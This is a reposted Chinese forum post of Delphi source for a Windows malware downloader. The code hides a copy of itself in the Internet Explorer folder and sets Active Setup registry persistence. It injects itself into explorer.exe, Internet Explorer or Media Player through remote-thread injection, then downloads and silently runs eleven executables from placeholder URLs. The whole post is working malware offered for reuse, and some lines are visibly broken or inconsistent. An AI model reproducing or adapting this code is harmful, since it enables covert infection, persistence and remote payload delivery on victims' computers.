[轉貼] ActiveX啟動下載者(delphi)

  1. program InjectTheSelf;

  2. {$IMAGEBASE $13140000}

  3. uses
  4. Windows;

  5. var
  6. //動態加載shell32.dll中的ShellExecuteA函數
  7. ShellRun:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall;
  8. //動態加載Urlmon.dll中的UrlDownloadToFileA函數
  9. Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;
  10. hShell,hUrlmon: THandle;


  11. //插入IE需要用到的函數
  12. function GetIEAppPath:string;
  13. var
  14. iekey: Hkey;
  15. iename: array [0..255] of char;
  16. vType,dLength :DWORD;
  17. begin
  18. vType := REG_SZ;
  19. RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
  20. dLength := SizeOf(iename);
  21. if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
  22. Result := iename
  23. else
  24. Result := '0x9c72020rogramfiles%\Internet Explorer\IEXPLORE.EXE';
  25. RegCloseKey(iekey);
  26. end;
  27. {//寫注冊表 用到的函數 為activeX啟動準備
  28. function Skrivreg(key:Hkey; subkey,name,value:string):boolean;
  29. var
  30. regkey:hkey;
  31. begin
  32. result := false;
  33. RegCreateKey(key,PChar(subkey),regkey);
  34. if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
  35. result := true;
  36. RegCloseKey(regkey);

  37. end;
  38. }
  39. {//插入media player用到的函數
  40. function GetwmAppPath:string;
  41. var
  42. wmkey: Hkey;
  43. iename: array [0..255] of char;
  44. vType,dLength :DWORD;
  45. begin

  46. vType := REG_SZ;
  47. RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\wmplayer.EXE',0,KEY_ALL_ACCESS,wmkey);
  48. dLength := SizeOf(iename);
  49. if RegQueryValueEx(wmkey, '' , nil, @vType, @iename[0], @dLength) = 0 then
  50. Result := iename
  51. else
  52. Result := '0xffae7b88rogramfiles%\Windows Media Player\wmplayer.EXE';
  53. RegCloseKey(wmkey);
  54. end;}

  55. procedure Download; //下載過程
  56. begin
  57. LoadLibrary('kernel32.dll');
  58. LoadLibrary('user32.dll');
  59. hShell:=LoadLibrary('Shell32.dll');
  60. hUrlmon:=LoadLibrary('unlmon.dll');
  61. @ShellRun:= GetProcAddress(hShell,'ShellExecuteA');
  62. @Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
  63. Downfile(nil,'http://x1xxxxxxxxxxxxxxxxxxxx                         ','C:\WINDOWS\Temp\system1.exe', 0, nil);
  64. ShellRun(0,'open','C:\WINDOWS\Temp\system1.exe',nil,nil,5);

  65. Downfile(nil,'http://x2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system2.exe', 0, nil);
  66. ShellRun(0,'open','C:\WINDOWS\Temp\system2.exe',nil,nil,5);

  67. Downfile(nil,'http://x3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system3.exe', 0, nil);
  68. ShellRun(0,'open','C:\WINDOWS\Temp\system3.exe',nil,nil,5);

  69. Downfile(nil,'http://x4xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system4.exe', 0, nil);
  70. ShellRun(0,'open','C:\WINDOWS\Temp\system4.exe',nil,nil,5);

  71. Downfile(nil,'http://x5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system5.exe', 0, nil);
  72. ShellRun(0,'open','C:\WINDOWS\Temp\system5.exe',nil,nil,5);

  73. Downfile(nil,'http://x6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system6.exe', 0, nil);
  74. ShellRun(0,'open','C:\WINDOWS\Temp\system6.exe',nil,nil,5);

  75. Downfile(nil,'http://x7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system7.exe', 0, nil);
  76. ShellRun(0,'open','C:\WINDOWS\Temp\system5.exe',nil,nil,5);

  77. Downfile(nil,'http://x8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system8.exe', 0, nil);
  78. ShellRun(0,'open','C:\WINDOWS\Temp\system8.exe',nil,nil,5);

  79. Downfile(nil,'http://x9xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system9.exe', 0, nil);
  80. ShellRun(0,'open','C:\WINDOWS\Temp\system9.exe',nil,nil,5);

  81. Downfile(nil,'http://xAxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\systemA.exe', 0, nil);
  82. ShellRun(0,'open','C:\WINDOWS\Temp\systemA.exe',nil,nil,5);

  83. Downfile(nil,'http://xBxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\systemB.exe', 0, nil);
  84. ShellRun(0,'open','C:\WINDOWS\Temp\systemB.exe',nil,nil,5);


  85. ExitProcess(0);
  86. end;

  87. procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
  88. var
  89. Module, NewModule: Pointer;
  90. Size, BytesWritten, TID: longword;
  91. begin
  92. //這裡得到的值為一個返回指針型變量,指向內容包括進程映像的基址
  93. Module := Pointer(GetModuleHandle(nil));
  94. //得到內存映像的長度
  95. Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew +
  96. SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
  97. //在Exp進程的內存範圍內分配一個足夠長度的內存
  98. VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
  99. //確定起始基址和內存映像基址的位置
  100. NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  101. //確定上面各項數據後,這裡開始進行操作
  102. WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
  103. //建立遠程線程,至此注入過程完成
  104. CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
  105. end;

  106. procedure RunInject(InjType:integer);
  107. var
  108. ProcessHandle, PID: longword;

  109. begin
  110. if InjType=0 then //注入explorer.exe
  111. begin
  112. //獲取Exp進程的PID碼
  113. GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
  114. end
  115. else
  116. if InjType=3 then //注入 media player
  117. begin
  118. winexec(PChar(GetwmAppPath),sw_hide);
  119. sleep(500);
  120. GetWindowThreadProcessId(FindWindow('WMPlayerApp', nil), @Pid);
  121. end
  122. else //注入iexplore.exe
  123. begin
  124. //CreateProcess(nil,PChar(GetIEAppPath), nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
  125. winexec(PChar(GetIEAppPath),sw_hide);
  126. sleep(500);
  127. GetWindowThreadProcessId(FindWindow('IEFrame', nil), @Pid);
  128. end;
  129. //打開進程
  130. ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
  131. Inject(ProcessHandle, @Download);
  132. //關閉對像
  133. CloseHandle(ProcessHandle);
  134. end;


  135. BEGIN

  136. CopyFile('C:\windows\system32\urlmon.dll','C:\windows\system32\unlmon.dll',true) ;
  137. copyfile(pchar(paramstr(0)),pchar('C:\Program Files\Internet Explorer\iede.exe'),true);
  138. SetFileAttributes( 'C:\Program Files\Internet Explorer\iede.exe',
  139. FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM );//設置文件系統隱藏屬性
  140. //activex自啟動
  141. skrivreg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Active Setup\Installed Components\{926A036A-158B-047A-E269-D148B0369C14}','StubPath','C:\Program Files\Internet Explorer\iede.exe');
  142. RunInject(0); //這裡改為 :1 注入iexplore.exe 0 注入explorer.exe 3注人media player
  143. end.
複製代碼
Arrive a goal
Taiwan technology University